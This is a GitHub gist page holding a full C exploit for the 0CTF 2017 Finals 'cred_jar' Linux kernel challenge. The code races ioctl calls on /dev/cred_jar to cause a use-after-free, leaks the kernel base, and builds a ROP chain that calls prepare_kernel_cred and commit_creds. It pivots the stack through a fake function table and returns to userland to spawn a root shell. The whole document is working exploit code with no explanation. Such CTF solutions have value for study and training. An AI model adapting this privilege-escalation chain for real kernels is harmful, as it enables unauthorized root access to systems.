0CTF 2017 Finals cred_jar
#include <stdio.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <pthread.h> | |
#include <sys/ipc.h> | |
#include <sys/shm.h> | |
#define SIZE 0x100 | |
int fd, fd2; | |
int fds[0x100]; | |
int fds_f[0x100]; | |
int race_win = 0; | |
int t = 0; | |
int m = 0; | |
unsigned long tmp = 0xdead; | |
unsigned long fake_table[0x20]; | |
unsigned long kernel_base; | |
unsigned long pop_rdi = 0xffffffff8100ae2d - 0xffffffff81000000; | |
unsigned long mov_rdi_rax_call_rcx_pop = 0xffffffff811cc51c- 0xffffffff81000000; | |
unsigned long pop_rcx_pop7 = 0xffffffff81045570 - 0xffffffff81000000; | |
unsigned long swapgs = 0xffffffff8194b121 - 0xffffffff81000000; | |
unsigned long iretq = 0xffffffff81022a86 - 0xffffffff81000000; | |
unsigned long prepare_kernel_cred = 0xffffffff810792f0 - 0xffffffff81000000; | |
unsigned long commit_creds = 0xffffffff81078f70 - 0xffffffff81000000; | |
unsigned long pivot_gadget = 0xffffffff81547ddb - 0xffffffff81000000; | |
unsigned long user_cs; | |
unsigned long user_ss; | |
unsigned long user_rflags; | |
static void save_state() { | |
__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs)); | |
__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss)); | |
__asm__("pushfq"); | |
__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags)); | |
} | |
void shell(void) { | |
char *args[] = {"/bin/sh", 0}; | |
execve("/bin/sh", args, 0); | |
} | |
int alloc_jar(int _fd, int id, unsigned int size) { | |
unsigned long arg = size | ((unsigned long)id << 32); | |
return ioctl(_fd, 0x7401, arg); | |
} | |
int get_jar(int _fd, int id) { | |
return ioctl(_fd, 0x7402, id); | |
} | |
int put_jar(int _fd, unsigned long *buf) { | |
return ioctl(_fd, 0x7403, buf); | |
} | |
void *thread (void* args) { | |
while(!race_win) { | |
t = 0; | |
fd = open("/dev/cred_jar", O_RDWR); | |
alloc_jar(fd, 0xdead, SIZE-0x20); | |
t = 1; | |
while (!m); | |
close(fd); | |
usleep(1); | |
t = 0; | |
} | |
} | |
int main(void) { | |
pthread_t t1, t2; | |
unsigned long buf[0x100]; | |
unsigned long *fake_stack; | |
save_state(); | |
fake_stack = mmap(0x01750000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
puts("open /dev/cred_jar"); | |
for (int i=0; i<0x100; i++) { | |
fds[i] = open("/dev/cred_jar", O_RDWR); | |
if (fds[i] < 0) { | |
puts("open error"); | |
exit(1); | |
} | |
} | |
puts("alloc alloc_cred_jar_ctx() 0x100 times"); | |
for (int i=0; i<0x100; i++) | |
alloc_jar(fds[i], 0x11220000+i, SIZE-0x20); | |
puts("attempting race condition"); | |
pthread_create(&t1, NULL, thread, (void *)NULL); | |
while (1) { | |
m = 0; | |
fd2 = open("/dev/cred_jar", O_RDWR); | |
m = 1; | |
get_jar(fd2, 0xdead); | |
usleep(1); | |
m = 0; | |
put_jar(fd2, &tmp); | |
if (tmp != 0xdead) { | |
race_win = 1; | |
break; | |
} | |
while (!t); | |
close(fd2); | |
} | |
pthread_join( t1, NULL ); | |
puts("caused race condition"); | |
for (int i=0; i<0x100; i++) { | |
fds_f[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); | |
} | |
pread(fd2, buf, 0x10, 0x0); | |
kernel_base = buf[1] - 0xa175c0; | |
printf("kernel_base = %lx\n", kernel_base); | |
fake_stack += (0x8000/8); | |
*fake_stack++ = kernel_base + pop_rdi; | |
*fake_stack++ = 0; | |
*fake_stack++ = kernel_base + prepare_kernel_cred; | |
*fake_stack++ = kernel_base + pop_rcx_pop7; | |
*fake_stack++ = kernel_base + commit_creds; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = kernel_base + mov_rdi_rax_call_rcx_pop; | |
*fake_stack++ = 0; | |
*fake_stack++ = kernel_base + swapgs; | |
*fake_stack++ = kernel_base + iretq; | |
*fake_stack++ = (unsigned long)&shell; | |
*fake_stack++ = user_cs; | |
*fake_stack++ = user_rflags; | |
*fake_stack++ = 0x1750000 + 0x7000; | |
*fake_stack++ = user_ss; | |
buf[0] = &fake_table; | |
fake_table[0xe] = kernel_base + pivot_gadget; | |
pwrite(fd2, buf, 0x8, 8); | |
for (int i=0; i<0x100; i++) { | |
shmctl(fds_f[i], IPC_RMID, 0); | |
} | |
while(1) { | |
sleep(1); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment